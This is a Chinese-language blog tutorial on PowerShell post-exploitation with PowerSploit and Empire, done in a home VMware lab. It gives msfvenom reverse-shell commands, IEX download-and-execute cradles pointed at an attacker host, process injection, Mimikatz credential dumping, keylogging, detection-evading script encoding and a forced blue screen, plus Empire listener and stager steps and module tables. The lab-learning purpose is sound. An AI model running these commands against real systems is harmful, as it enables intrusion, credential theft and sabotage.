0%

powershell后渗透阶段---工具篇

前言

最近闭关修炼了一段时间,主要学习渗透测试,恶意代码分析先暂停下,学习这些东西我都有兴趣,多学些多见识见识,增加一下自己对安全的理解。

在学习渗透测试的时候,重新温习了metasploit,觉得这个漏洞利用框架真厉害,最近也买了很多书,等看完(感觉得花很长时间,flag先立起来)的时候,再更新一篇博客(估计得很长时间之后了)来写这些书的观后体验(已经看完两本了,还有五本),有些书确实有些老了(目前看的书一本是15年,一本是18年的),但是核心知识不会变。

最近学习到了后渗透阶段攻击,是对windows平台使用powershell来进行的,这份技术在17-18年挺火的(最近也不差),也有很多工具在那时候被开发出来,例如powersploit,empire,powerup,nishang等工具,之所以流行,关键因素还是powershell的强大,和powershell在主流windows操作系统上默认安装以及当时powershell免杀,目前随着技术的发展,powershell已经可以被主流杀软检测,但是powershell的混淆技术也十分高超,目前来说利用powershell也是非常不错的。

这篇博客主要用来记录学习本人在使用powershell技术过程中的三大工具powersploit,empire,nishang,这篇博客有可能比较长,因为我想做的详细点,尽量设置好章节,以便我之后进行查阅。(注意:阅读本文章需要一定的powershell基础)

powersploit

powersploit是一款基于powershell的后渗透框架软件,包含很多powershell脚本来实现渗透测试中的:信息收集,权限提升,权限维持,其github项目地址为https://github.com/PowerShellMafia/PowerSploit(无语中,今天进去看,发现README.md更新了一行This project is no longer supported,过时技术,算了,主要学个思路,看个源码)

环境设置

kali Linux 2020.02 ip:192.168.2.132

Windows10 x86 ip:192.168.2.129

注意:本人是使用VMware虚拟机做实验,两台虚拟机都在NAT网络模式下,确保都在同一网段下,互相能ping通,kali这里防火墙默认没有禁止ping,Windows10这里需要在防火墙下开放ping,同时提供以下支持:

kali开启apache服务:sudo service apache2 start

将powersploit目录放到/var/www/html/中,确保Windows10能通过HTTP访问到

目录结构

powersploit按照功能分为多个模块,可以通过github上项目的目录结构得知其各模块的功能:

AntivirusBypass:用于发现杀毒软件的查杀特征

CodeExecution:在目标主机上执行代码

Exfiltration:目标主机上的信息搜集

Mayhem:蓝屏等破坏性脚本

Persistence:持久化控制的后门脚本

Recon:以目标主机作为跳板进行内网信息侦察

ScriptModification:在目标主机上创建或者修改脚本

powersploit本身就是一个powershell脚本集合,结合github上源代码和网上文档可以很快的上手,powersploit脚本众多,我只会尝试使用部分脚本。

powersploit实验

Invoke-Shellcode

Invoke-Shellcode是CodeExecution模块下的一个脚本,这个脚本可以将shellcode插入到指定的进程ID或者当前powershell进程中

  1. 首先使用msfvenom生成powershell格式的shellcode木马:

    sudo msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.2.132 LPORT=4444 -f powershell -o /var/www/html/test

    dlJJgI.png

  2. 接着在msf里设置监听

    dlYuzn.png

  3. 然后在目标机器powershell中输入以下命令下载Invoke-Shellcode脚本,以及msfvenom生成powershell格式的shellcode木马

    IEX(New-Object Net.WebClient).Downloadstring("http://192.168.2.132/powersploit/CodeExecution/Invoke-Shellcode.ps1")

    IEX(New-Object Net.WebClient).Downloadstring("http://192.168.2.132/test")

    dlNKbV.png

  4. 然后在powershell中输入以下命令生成一个新的记事本进程,并设置为隐藏,在输入Get-Process命令查看进程pid

    Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden

    dlaMhF.png

    这里进程id为2924

  5. 接着输入以下命令,使用Invoke-Shellcode脚本进行进程注入,也可以不需要ProcessID,那么此时shellcode会注入到当前powershell进程中

    Invoke-Shellcode -ProcessID 2924 -Shellcode($buf) -Force

    dldy24.png

    注意:这里的$buf变量就是msfvenom生成powershell格式的shellcode木马中的变量,用来保存shellcode

    dldzi8.png

  6. 此时回到msf监听界面发现已经反弹成功了

    dlwQy9.png

Invoke-DllInjection

Invoke-DllInjection也是CodeExecution模块下的一个脚本,这个脚本的作用就是将指定的dll注入到指定进程中。

  1. 首先使用msfvenom生成一个dll木马

    sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.132 lport=4444 -f dll -o /var/www/html/hacker.dll

    d3YKsI.png

  2. 接着在msf里设置监听

    dlcYxf.png

    注意这里的payload是windows/meterpreter/reverse_tcp

  3. 在目标机上下载dll,以及在powershell中加载Invoke-DllInjection脚本

    IEX(New-Object Net.WebClient).Downloadstring("http://192.168.2.132/powersploit/CodeExecution/Invoke-DllInjection.ps1")

    这里我通过http下载到hacker.dll然后将其放到c盘根目录中

    启动一个新的进程来进行dll注入

    Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden

    进程id为4688

  4. 然后使用以下命令进行dll注入,并且在msf中收到反弹shell

    Invoke-DllInjection -ProcessID 4688 -Dll c:\hacker.dll

    dlRYxx.png

    dlR7zq.png

Invoke-ReflectivePEInjection

Invoke-ReflectivePEInjection也是CodeExecution模块下的一个脚本,按照官方给的文档中说的,这个脚本有两个功能,一个是将Windows PE文件(DLL / EXE)反射性地加载到powershell进程中,另一个就是将DLL反射性地注入到远程进程中,引用官方文档中的话:

(1)将DLL或EXE反射性地加载到Powershell进程的内存中。 因为DLL / EXE是反射性加载的,所以当使用工具列出正在运行的进程的DLL时,不会显示它。

​ 通过提供本地Windows PE文件(DLL / EXE)加载到远程系统的内存中,可以在远程服务器上运行此工具, 这会将DLL / EXE加载并执行到内存中,而无需将任何文件写入磁盘。

(2)将DLL反射性地加载到远程进程的内存中。 如上所述,当使用工具列出正在运行的远程进程的DLL时,将不会显示正在反射加载的DLL。

​ 这对于在会话中向系统进程中注入后门可能是最有用的。 目前,无法从DLL检索输出。 脚本不会等待DLL完成执行,也不会对远程进程中的内存进行任何清理。

注意:反射DLL注入用于将DLL加载到进程中,而不必将其放置在主机的文件系统上

有些不太理解这个脚本的第二个功能,试着做下第一个功能,为了和Invoke-DllInjection区别开,这次使用msfvenom写一个exe文件,exe也是pe文件格式,把exe尝试反射加载到powershell进程中,用msf进行监听,最后取得meterpreter shell

  1. 使用msfvenom写一个exe木马

    sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.132 lport=4444 -f exe -o /var/www/html/hacker_exe.exe

    d1YT5F.png

  2. 在目标机上加载Invoke-ReflectivePEInjection脚本,并且在kali上设置msf监听

    IEX(New-Object Net.WebClient).Downloadstring("http://192.168.2.132/powersploit/CodeExecution/Invoke-ReflectivePEInjection.ps1")

    这里我依旧将exe木马通过http协议下载到windows10上,并且将其放到c盘根目录上

    然后使用如下命令运行脚本

    $PEBytes=[IO.File]::ReadAllBytes('c:\hacker_exe.exe')

    Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR

    d1azyd.png

  3. 此时在kali就能看到返回过来的session

    d1dJl4.png

这个脚本感觉不太行,本来反射型dll注入的精髓在于能做到不再目标磁盘上留下文件,而这个脚本缺陷在于不能远程加载dll/exe,在网上查阅时候,发现有人写出了修改版,可以从服务器下载文件并注入的脚本,具体的使用在文档中含有。

Invoke-Portscan

Invoke-Portscan是Recon模块下的一个脚本,主要用于端口扫描,使用起来也比较简单。

载入脚本:

IEX(New-Object Net.WebClient).Downloadstring("http://192.168.2.132/powersploit/Recon/Invoke-Portscan.ps1")

然后使用以下命令进行扫描:

Invoke-Portscan -Hosts 192.168.2.1 -Ports "21,22,23,80,445"

d1q55t.png

这里192.168.2.1是我的物理机,可以看到检测出来开放了445端口。这个脚本可以使用参数-HostFile来载入一个ip字典,这个脚本胜在快捷方便。

Invoke-ReverseDnsLookup

Invoke-ReverseDnsLookup是Recon模块下的一个脚本,主要是在内网中反向DNS查询

载入脚本:

IEX(New-Object Net.WebClient).Downloadstring("http://192.168.2.132/powersploit/Recon/Invoke-ReverseDnsLookup.ps1")

然后使用以下命令进行查询:

Invoke-ReverseDnsLookup "192.168.2.132,192.168.2.129,192.168.2.1" | fl IP,HostName

d1jiM8.png

这里我没有设置域环境,这个脚本在域环境内更好用,通过DC服务器的DNS服务查询域内主机名和对应IP,更加快速的理清楚域内结构。

Invoke-Mimikatz

Mimikatz本身在内网渗透中作用很大,powersploit将其集成到Exfiltration模块下,Mimikatz用来抓取主机密码,注意的是这个脚本的运行需要管理员权限:

载入脚本:

IEX(New-Object Net.WebClient).Downloadstring("http://192.168.2.132/powersploit/Exfiltration/Invoke-Mimikatz.ps1")

然后使用以下命令进行抓取:

Invoke-Mimikatz -DumpCreds

d3ex8f.png

Get-Keystrokes

Get-Keystrokes是Exfiltration模块下用来进行键盘记录的脚本,功能极其强大

载入脚本:

IEX(New-Object Net.WebClient).Downloadstring("http://192.168.2.132/powersploit/Exfiltration/Get-Keystrokes.ps1")

运行:

Get-Keystrokes -LogPath C:\Users\BMooS\log.txt

d3uI2V.png

打字输出的结果:

d3KKsS.png

这里是使用的默认-PollingInterval-CollectionInterval,所以记录时有重复,使用时可以自行调整。

Get-TimedScreenshot

Get-TimedScreenshot是Exfiltration模块下用来进行屏幕记录的脚本

载入脚本:

IEX(New-Object Net.WebClient).Downloadstring("http://192.168.2.132/powersploit/Exfiltration/Get-TimedScreenshot.ps1")

运行:

Get-TimedScreenshot -Path C:\Users\BMooS\temp\ -Interval 5 -EndTime 1:02

注意这里Interval参数是记录的时间间隔,单位是秒,Path路径是一个存在的文件夹,记录的图片会保存在文件夹下

d3GTHK.png

Out-CompressedDll

Out-CompressedDll是ScriptModification模块下用来对dll文件进行压缩混淆的脚本,调用方式:

IEX(New-Object Net.WebClient).Downloadstring("http://192.168.2.132/powersploit/ScriptModification/Out-CompressedDll.ps1")

使用:

Out-CompressedDll -FilePath C:\hacker.dll

这个脚本的使用我搜了一晚上,搞不懂是最后如何使用,最后输出powershell代码,看到官方给的使用说是将其复制到ps1文件中,再加上[Test]::DoStuff(),注意的是这个只适用于MSIL-based dlls。( 这个真搞不会。)

Out-EncodedCommand

Out-EncodedCommand是ScriptModification模块下用来对powershell脚本或者代码块进行编码的脚本

调用方式:

IEX(New-Object Net.WebClient).Downloadstring("http://192.168.2.132/powersploit/ScriptModification/Out-EncodedCommand.ps1")

运行:

  1. 对powershell代码块进行编码,示例:

    Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'}

    d3NXIf.png

  2. 对powershell脚本文件进行编码,示例:

    Out-EncodedCommand -Path C:\Users\BMooS\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput

    我在C:\Users\BMooS\EvilPayload.ps1文件下写入"test" > 1.txt

    d3UViT.png

    运行后powershell消失,在C:\Users\BMooS\下生成有1.txt文件

    d3UMLR.png

Out-EncryptedScript

Out-EncryptedScript是ScriptModification模块下用来对Script文件或者text file进行加密的脚本,可以设置password和salt

调用方式:

IEX(New-Object Net.WebClient).Downloadstring("http://192.168.2.132/powersploit/ScriptModification/Out-EncryptedScript.ps1")

运行:

加密:

Out-EncryptedScript .\test.ps1 -Password 123456 -Salt bmoos -FilePath C:\Users\BMooS\encrypted.ps1

d3UOX9.png

test.ps1是我在C:\Users\BMooS\文件夹下写的一个powershell脚本,内容为Write-Host 'hello, world!'

解密:

d3aSk6.png

Set-CriticalProcess

Set-CriticalProcess是Mayhem模块下的两大函数之一,其作用就是在退出powershell后让系统蓝屏,注意在使用该模块时候,需要将Mayhem文件夹移动到C:\Windows\System32\WindowsPowerShell\v1.0\Modules目录下,然后使用Import-Module Mayhem导入模块

运行:直接在powershell中输入Set-CriticalProcess(注意需要管理员权限)

d3aBjJ.png

然后在powershell中输入exit退出powershell程序,系统蓝屏:

d3aW9O.png

empire

Empire 是一款类似 Metasploit 的 PowerShell 可视化后期渗透测试框架,建立在密码安全通信和灵活的架构上。Empire 实现了无需 powershell.exe 就可运行 PowerShell 代理的功能,可快速部署后期漏洞利用模块,从键盘记录器到 Mimikatz,并且能够适应通信躲避网络检测,所有的这些功能都封装在一个以实用性为重点的框架中。(抄的,目前理解程度没那么深)

原本的empire项目已经This project is no longer supported,毕竟这个还是和powersploit一样在17-18年很火,不过幸运的是,empire项目被BC-security接手,并发布了empire3.0,更好的可以移植到kali2020.02版上(原项目在最新kali上不支持了),以下是关于empire3.0的更新内容:

从过去的纯 Python 2.7 移植到 2.7/3.x 环境。鉴于 Python 2.7 即将于 2019 年底走到尽头,Debian 已经开始放弃对所有 Python 2.7 程序包的支持。Debian 停止支持已经影响到了 Kali 对多个工具的支持,其中就包括 Empire。移植 Python3.x 后,能够确保 Empire 在未来很长一段时间都能获得 Kali 的支持。

除了向 Python3 移植外,Empire3.0 还增加了大量新功能模块(其中有些模块已经出现在开发分支版本中)。

通过更新 Base Launcher 消除了原有的一些签名和导致被 Windows Defender 发现的 bug。

Mimikatz 是当下最流行的后渗透测试工具之一,能够从内存中提取哈希值、密码等信息。在 Empire3.0 中, Mimikatz 升级到 2.2.0 版本,使得攻击 Windows 10(尤其是1903)成为可能。另外一个重要的新功能是加入了数据保护 API (DPAPI) 支持 Powershell PSCredential 和 SecureString。最新版本的 Mimkatz 已经在 Github 上架(https://github.com/gentilkiwi/mimikatz)

JA3 是 TLS 握手的指纹机制,是识别恶意加密流量的推荐方案。Akamai 发布的威胁研究报告显示,如今超过 80% 的恶意流量都流经加密通道。因此,很多防御者也开始采用这种技术。

(这就是大神的世界吗?真的好仰慕,想成为大神这样的人)

环境设置

kali Linux 2020.02 ip:192.168.2.132

Windows7 x64 ip:192.168.2.130

empire实验

在kali上安装empire

sudo apt install powershell-empire

(empire3.0在kali2020.02上预装了,不过名字是powershell-empire。。。。)

dN79Y9.png

empire的使用和metasploit使用类似,都是先设置一个监听,接着生成一个木马,木马在目标主机上运行,监听也会连接上反弹回来的代理

设置监听

输入uselistener来设置采用什么方式,使用双击Tab键可以看到一共有7种模式,分别为:dbx、http、http_com、http_foreign、http_hop、http_mapi、meterpreter、onedrive、redirector

ddeyhF.png

选择http模式,输入命令uselistener http然后输入info命令查看具体参数设置

ddeIAK.png

set命令设置相应参数,修改NameHost(默认是本机)和Port,然后输入命令execute命令开始监听

ddmP3Q.png

输入back命令即可返回上一层的listeners界面,输入listeners命令可以列出当前激活的listener

ddmcUf.png

注意,如果开启多个监听,必须使用不同的名称,且使用不同的端口,如果要删除某个监听使用kill命令加上监听的Name

生成木马

设置完监听后,接下来生成木马在目标机器上运行stager。输入usestager来采用什么模块,依旧是双击Tab键,

ddnPIK.png

multi为通用模块、osx是mac操作系统,下面介绍Windows下几个常用的模块(DLL也常用,但是需要其他来辅助DLL运行,可以使用powersploit中的Invoke-DllInjection模块)

launcher_vbs

生成vbs木马要使用到windows/launcher_vbs模块,输入usestager windows/launcher_vbs,在输入info查看模块信息

ddYWGR.png

这里只需要设置好Listener即可,然后execute运行,生成vbs文件

ddt0FH.png

最后输入back返回到listeners界面开始监听,在目标机器上运行vbs文件即可

ddN4HO.png

输入agents查看会话列表,使用rename命令更改名称

ddUdGd.png

其他的木马模块操作类似,这种玩多了就有点脚本小子的感觉,像玩游戏一样,具体操作还是得看实际情况,可以多摸索摸索

launcher

如果想要简单的powershell代码或者python代码,在设置完监听模块后,在listeners界面输入:

launcher powershell test1 生成powershell代码

ddJhDS.png

launcher python test1 生成python代码

ddJT4s.png

生成的代码放到目标机命令行中运行即可

连接使用

当目标主机反弹shell成功后,可以使用agents命令列出当前所有的已连接主机,这里在username前带*意思是有管理员权限或者更高权限的主机(这里是因为我的win7虚拟机是使用管理员账户登陆的,所以直接就是管理员权限)

ddUdGd.png

使用interact <name>进入主机,然后输入help命令即可以列出所有命令

dd2s9P.png

这里根据help的提示也知道这些命令的使用,尝试使用mimikatz抓取密码(需要管理员权限)

ddhcPs.png

可以使用creds来自动过滤整理出获得的用户密码

ddhTIJ.png

其他命令很简单也很实用,可以在实战中多多尝试

agents Jump to the agents menu.
back Go back a menu.
bypassuac Runs BypassUAC, spawning a new high-integrity agent for a listener. Ex. spawn
clear Clear out agent tasking.
creds Display/return credentials from the database.
dirlist Tasks an agent to store the contents of a directory in the database.
download Task an agent to download a file into the C2.
exit Task agent to exit.
help Displays the help menu or syntax for particular commands.
info Display information about this agent
injectshellcode Inject listener shellcode into a remote process. Ex. injectshellcode
jobs Return jobs or kill a running job.
kill Task an agent to kill a particular process name or ID.
killdate Get or set an agent’s killdate (01/01/2016).
list Lists all active agents (or listeners).
listeners Jump to the listeners menu.
lostlimit Task an agent to change the limit on lost agent detection
main Go back to the main menu.
mimikatz Runs Invoke-Mimikatz on the client.
psinject Inject a launcher into a remote process. Ex. psinject <pid/process_name>
pth Executes PTH for a CredID through Mimikatz.
rename Rename the agent.
resource Read and execute a list of Empire commands from a file.
revtoself Uses credentials/tokens to revert token privileges.
sc Takes a screenshot, default is PNG. Giving a ratio means using JPEG. Ex. sc [1-100]
scriptcmd Execute a function in the currently imported PowerShell script.
scriptimport Imports a PowerShell script and keeps it in memory in the agent.
searchmodule Search Empire module names/descriptions.
shell Task an agent to use a shell command.
shinject Inject non-meterpreter listener shellcode into a remote process. Ex. shinject
sleep Task an agent to ‘sleep interval [jitter]’
spawn Spawns a new Empire agent for the given listener name. Ex. spawn
steal_token Uses credentials/tokens to impersonate a token for a given process ID.
sysinfo Task an agent to get system information.
updatecomms Dynamically update the agent comms to another listener
updateprofile Update an agent connection profile.
upload Task the C2 to upload a file into an agent.
usemodule Use an Empire PowerShell module.
workinghours Get or set an agent’s working hours (9:00-17:00)

模块使用

empire最主要的功能在于模块上的使用,在不同模块中都集成了很多工具脚本,可以使用searchmodule命令来搜索模块

code_execution代码执行

dwdyYF.png

模块名 功能
code_execution/invoke_dllinjection 使用PowerSploit的Invoke-DLLInjection将Dll注入您选择的进程ID。
code_execution/invoke_metasploitpayload 生成一个新的隐藏PowerShell窗口,该窗口下载并执行Metasploit Payload。这与Metasploit模块theexploit/multi/scripts/web_delivery互动
code_execution/invoke_ntsd 使用NT Symbolic Debugger执行Empire launcher代码
code_execution/invoke_reflectivepeinjection 使用PowerSploit的Invoke-ReflectivePEInjection进行反射PE注入,将DLL/EXE加载进PowerShell进程中,或者将DLL加载进远程进程中
code_execution/invoke_shellcode 使用PowerSploit的Invoke–Shellcode注入Shellcode
code_execution/invoke_shellcodemsil 执行shellcode

collection信息收集

dwd2l9.png

模块名 功能
collection/ChromeDump 收集chrome浏览器保存的密码和浏览历史记录
collection/FoxDump 收集Firefox浏览器保存的密码和浏览历史记录
collection/USBKeylogger* 利用ETW作为键盘记录
collection/WebcamRecorder 从摄像头捕获视频
collection/browser_data 搜索浏览器历史记录或书签
collection/clipboard_monitor 按指定的时间间隔监视剪贴板
collection/file_finder 查找域中的敏感文件
collection/find_interesting_file 查找域中的敏感文件
collection/get_indexed_item 获取Windows desktop search索引文件
collection/get_sql_column_sample_data 从目标SQL Server返回列信息。
collection/get_sql_query 在目标SQL服务器上执行查询
collection/inveigh Windows PowerShell LLMNR/mDNS/NBNS中间人工具
collection/keylogger 键盘记录到keystrokes.txt文件中,文件位置/downloads/agentname/keystrokes.txt/agentname
collection/minidump 进程的全内存转储,PowerSploit的Out-Minidump.ps1
collection/netripper 将NetRipper注入目标进程,该进程使用API挂钩以拦截来自低特权用户的网络流量和与加密相关的功能,从而能够在加密之前/解密之后捕获纯文本流量和加密流量。
collection/ninjacopy* 通过读取原始卷并解析NTFS结构,从NTFS分区卷中复制文件。
collection/packet_capture* 使用netsh在主机上启动数据包捕获。
collection/prompt 提示当前用户在表单框中输入其凭据,然后返回结果。
collection/screenshot 屏幕截图
collection/vaults/add_keepass_config_trigger 寻找KeePass配置
collection/vaults/find_keepass_config 此模块查找并解析KeePass.config.xml (2.X)和KeePass.config.xml (1.X)文件。
collection/vaults/get_keepass_config_trigger 该模块从KeePass 2.X配置XML文件中提取触发器说明
collection/vaults/keethief 此模块检索未锁定的KeePass数据库的database mastey key信息
collection/vaults/remove_keepass_config_trigger 该模块从Find-KeePassConfig找到的所有KeePass配置中删除所有触发器

credentials身份凭证

dwdv0P.png

模块名 功能
credentials/credential_injection* 运行PowerSploit的Invoke-CredentialInjection创建具有明文凭证的登录,而不会触发事件ID 4648使用显式凭据尝试登录
credentials/enum_cred_store 从Windows凭据管理器中转储当前交互用户的纯文本凭据
credentials/invoke_kerberoast 为具有非空服务主体名称(SPN)的所有用户请求kerberos票据,并将其提取为John或Hashcat可用格式
credentials/powerdump* 使用Posh-SecMod的Invoke-PowerDump从本地系统中转储哈希
credentials/sessiongopher 提取WinSCP已保存的会话和密码
credentials/tokens 运行PowerSploit的Invoke-TokenManipulation枚举可用的登录令牌,并使用它们创建新的进程
credentials/vault_credential* 运行PowerSploit的Get-VaultCredential以显示Windows Vault凭证对象,包括明文Web凭证
credentials/mimikatz/cache* 运行PowerSploit的Invoke-Mimikatz函数以提取MSCache(v2) hashes
credentials/mimikatz/certs* 运行PowerSploit的Invoke-Mimikatz函数将所有证书提取到本地目录
credentials/mimikatz/command* 使用自定义命令运行PowerSploit的Invoke-Mimikatz函数
credentials/mimikatz/dcsync 运行PowerSploit的Invoke-Mimikatz函数,以通过Mimikatz的lsadump::dcsync模块提取给定的帐户密码
credentials/mimikatz/dcsync_hashdump 运行PowerSploit的Invoke-Mimikatz函数,以使用Mimikatz的lsadump::dcsync模块收集所有域哈希
credentials/mimikatz/extract_tickets 运行PowerSploit的Invoke-Mimikatz函数,以base64编码形式从内存中提取kerberos票据
credentials/mimikatz/golden_ticket 运行PowerSploit的Invoke-Mimikatz函数以生成黄金票据并将其注入内存
credentials/mimikatz/keys* 运行PowerSploit的Invoke-Mimikatz函数以将所有密钥提取到本地目录
credentials/mimikatz/logonpasswords* 运行PowerSploit的Invoke-Mimikatz函数以从内存中提取纯文本凭据。
credentials/mimikatz/lsadump* 运行PowerSploit的Invoke-Mimikatz函数以从内存中提取特定的用户哈希。 在域控制器上很有用。
credentials/mimikatz/mimitokens* 运行PowerSploit的Invoke-Mimikatz函数以列出或枚举令牌。
credentials/mimikatz/pth* 运行PowerSploit的Invoke-Mimikatz函数以执行sekurlsa::pth来创建一个新进程。
credentials/mimikatz/purge 运行PowerSploit的Invoke-Mimikatz函数从内存中清除所有当前的kerberos票据
credentials/mimikatz/sam* 运行PowerSploit的Invoke-Mimikatz函数从安全帐户管理器(SAM)数据库中提取哈希
credentials/mimikatz/silver_ticket 运行PowerSploit的Invoke-Mimikatz函数,以生成服务器/服务的白银票据并将其注入内存。
credentials/mimikatz/trust_keys* 运行PowerSploit的Invoke-Mimikatz函数,从域控制器中提取域信任密钥。

exfiltration数据窃取

dwwptS.png

模块名 功能
exfiltration/egresscheck 可用于帮助检查主机与客户端系统之间的出口,详细信息:https://github.com/stufus/egresscheck-framework
exfiltration/exfil_dropbox 下载文件到dropbox

exploitation漏洞利用

dwwmkT.png

模块名 功能
exploitation/exploit_eternalblue MS17_010永恒之蓝漏洞利用
exploitation/exploit_jboss Jboss漏洞利用
exploitation/exploit_jenkins 在未授权访问的Jenkins脚本控制台上运行命令

lateral_movement横向移动

d0AtZ6.png

模块名 功能
lateral_movement/inveigh_relay smb中继攻击
lateral_movement/invoke_dcom 使用DCOM在远程主机上执行stager
lateral_movement/invoke_executemsbuild 该模块利用WMI和MSBuild编译并执行一个包含Empire launcher的xml文件。
lateral_movement/invoke_psexec PsExec横向移动
lateral_movement/invoke_psremoting 远程PowerShell横向移动
lateral_movement/invoke_smbexec SMBExec横向移动
lateral_movement/invoke_sqloscmd 利用xp_cmdshell横向移动
lateral_movement/invoke_sshcommand 利用SSH横向移动
lateral_movement/invoke_wmi 利用WMI横向移动
lateral_movement/invoke_wmi_debugger 使用WMI将远程机器上的二进制文件的调试器设置为cmd.exe或stager
lateral_movement/jenkins_script_console 利用未授权访问的Jenkins脚本控制台横向移动
lateral_movement/new_gpo_immediate_task 利用GPO中的计划任务横向移动

management管理

d0eiT0.png

模块名 功能
management/enable_rdp* 在远程计算机上启用RDP并添加防火墙例外。
management/disable_rdp* 在远程计算机上禁用RDP
management/downgrade_account 在给定的域帐户上设置可逆加密,然后强制下次用户登录时设置密码。
management/enable_multi_rdp* 允许多个用户建立同时的RDP连接。
management/get_domain_sid 返回当前指定域的SID
management/honeyhash* 将人工凭证注入到LSASS
management/invoke_script 运行自定义脚本
management/lock 锁定工作站的显示
management/logoff 从计算机上注销当前用户(或所有用户)
management/psinject 利用Powershell注入Stephen Fewer形成的ReflectivePick,该ReflectivePick在远程过程中从内存执行PS代码
management/reflective_inject 利用Powershell注入Stephen Fewer形成的ReflectivePick,该ReflectivePick在远程过程中从内存执行PS代码
management/restart 重新启动指定的机器
management/runas 绕过GPO路径限制
management/shinject 将PIC Shellcode Payload注入目标进程
management/sid_to_user 将指定的域sid转换为用户
management/spawn 在新的powershell.exe进程中生成新agent
management/spawnas 使用指定的登录凭据生成agent
management/switch_listener 切换listener
management/timestomp 通过’调用Set-MacAttribute执行类似耗时的功能
management/user_to_sid 将指定的domain\user转换为domain sid
management/vnc Invoke-Vnc在内存中执行VNC代理并启动反向连接
management/wdigest_downgrade* 将计算机上的wdigest设置为使用显式凭据
management/zipfolder 压缩目标文件夹以供以后渗透
management/mailraider/disable_security 此函数检查ObjectModelGuard
management/mailraider/get_emailitems 返回指定文件夹的所有项目
management/mailraider/get_subfolders 返回指定顶级文件夹中所有文件夹的列表
management/mailraider/mail_search 在给定的Outlook文件夹中搜索项目
management/mailraider/search_gal 返回与指定搜索条件匹配的所有exchange users
management/mailraider/send_mail 使用自定义或默认模板将电子邮件发送到指定地址。
management/mailraider/view_email 选择指定的文件夹,然后在指定的索引处输出电子邮件项目

persistence持久化

d0eKmR.png

模块名 功能
persistence/elevated/registry* 计算机启动项持久化,通过HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run进行持久化,运行一个stager或者脚本
persistence/elevated/schtasks* 计划任务持久化
persistence/elevated/wmi* WMI事件订阅持久化
persistence/elevated/wmi_updater* WMI订阅持久化
persistence/misc/add_netuser 将域用户或本地用户添加到当前(或远程)计算机
persistence/misc/add_sid_history* 运行PowerSploit的Invoke-Mimikatz函数以执行misc::addsid以添加用户的sid历史记录。 仅适用于域控制器
persistence/misc/debugger* 将指定目标二进制文件的调试器设置为cmd.exe
persistence/misc/disable_machine_acct_change* 禁止目标系统的机器帐户自动更改其密码
persistence/misc/get_ssps 枚举所有已加载的安全软件包
persistence/misc/install_ssp* 安装安全支持提供程序dll
persistence/misc/memssp* 运行PowerSploit的Invoke-Mimikatz函数以执行misc::memssp,将所有身份验证事件记录到C:\Windows\System32\mimisla.log
persistence/misc/skeleton_key* 运行PowerSploit的Invoke-Mimikatz函数来执行misc::skeleton,植入密码mimikatz的万能钥匙。 仅适用于域控制器
persistence/powerbreach/deaduser DeadUserBackdoor后门,详细信息:http://www.sixdub.net/?p=535
persistence/powerbreach/eventlog* 启动事件循环后门
persistence/powerbreach/resolver 启动解析器后门
persistence/userland/backdoor_lnk LNK文件后门
persistence/userland/registry 计算机启动项持久化,通过HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run进行持久化,运行一个stager或者脚本
persistence/userland/schtasks 计划任务持久化

privesc权限提升

d0e1k6.png

模块名 功能
privesc/ask 弹出一个对话框,询问用户是否要以管理员身份运行powershell
privesc/bypassuac UAC bypass
privesc/bypassuac_env UAC bypass
privesc/bypassuac_eventvwr UAC bypass
privesc/bypassuac_fodhelper UAC bypass
privesc/bypassuac_sdctlbypass UAC bypass
privesc/bypassuac_tokenmanipulation UAC bypass
privesc/bypassuac_wscript UAC bypass
privesc/getsystem* 获取system特权
privesc/gpp 利用windows组策略首选项缺陷获取系统帐号
privesc/mcafee_sitelist 寻找McAfee SiteList.xml文件的纯文本密码
privesc/ms16-032 MS16-032本地提权
privesc/ms16-135 MS16-135本地提权
privesc/tater 利用PowerShell实现的Hot Potato提权
privesc/powerup/allchecks 检查目标主机的攻击向量以进行权限提升
privesc/powerup/find_dllhijack 查找通用的.DLL劫持
privesc/powerup/service_exe_restore 还原备份的服务二进制文件
privesc/powerup/service_exe_stager 备份服务的二进制文件,并用启动stager.bat的二进制文件替换原始文件
privesc/powerup/service_exe_useradd 修改目标服务以创建本地用户并将其添加到本地管理员
privesc/powerup/service_stager 修改目标服务以执行Empire stager
privesc/powerup/service_useradd 修改目标服务以创建本地用户并将其添加到本地管理员
privesc/powerup/write_dllhijacker 将可劫持的.dll以及.dll调用的stager.bat一起写到指定路径。 wlbsctrl.dll在Windows 7上运行良好。需要重新启动计算机

recon侦察

d0et6H.png

模块名 功能
recon/find_fruit 在网络范围内搜索潜在的易受攻击的Web服务
recon/get_sql_server_login_default_pw 发现在当前广播域之内的SQL Server实例
recon/http_login 针对基本身份验证测试凭据

situational_awareness态势感知

d0ew7t.png

模块名 功能
situational_awareness/host/antivirusproduct 获取防病毒产品信息
situational_awareness/host/computerdetails* 枚举有关系统的有用信息
situational_awareness/host/dnsserver 枚举系统使用的DNS服务器
situational_awareness/host/findtrusteddocuments 该模块将枚举适当的注册表
situational_awareness/host/get_pathacl 枚举给定文件路径的ACL
situational_awareness/host/get_proxy 枚举当前用户的代理服务器和WPAD内容
situational_awareness/host/get_uaclevel 枚举UAC级别
situational_awareness/host/monitortcpconnections 监视主机与指定域名或IPv4地址的TCP连接,对于会话劫持和查找与敏感服务进行交互的用户很有用
situational_awareness/host/paranoia* 持续检查运行过程中是否存在可疑用户
situational_awareness/host/winenum 收集有关主机和当前用户上下文的相关信息
situational_awareness/network/arpscan 针对给定范围的IPv4 IP地址执行ARP扫描
situational_awareness/network/bloodhound 执行BloodHound数据收集
situational_awareness/network/get_exploitable_system 查询Active Directory以查找可能容易受到Metasploit Exploit的系统
situational_awareness/network/get_spn 获取服务主体名称(SPN)
situational_awareness/network/get_sql_instance_domain 返回SQL Server实例列表
situational_awareness/network/get_sql_server_info 从目标SQL Server返回基本服务器和用户信息
situational_awareness/network/portscan 使用常规套接字进行简单的端口扫描
situational_awareness/network/reverse_dns 执行给定IPv4 IP范围的DNS反向查找
situational_awareness/network/smbautobrute 针对用户名/密码列表运行SMB暴力破解
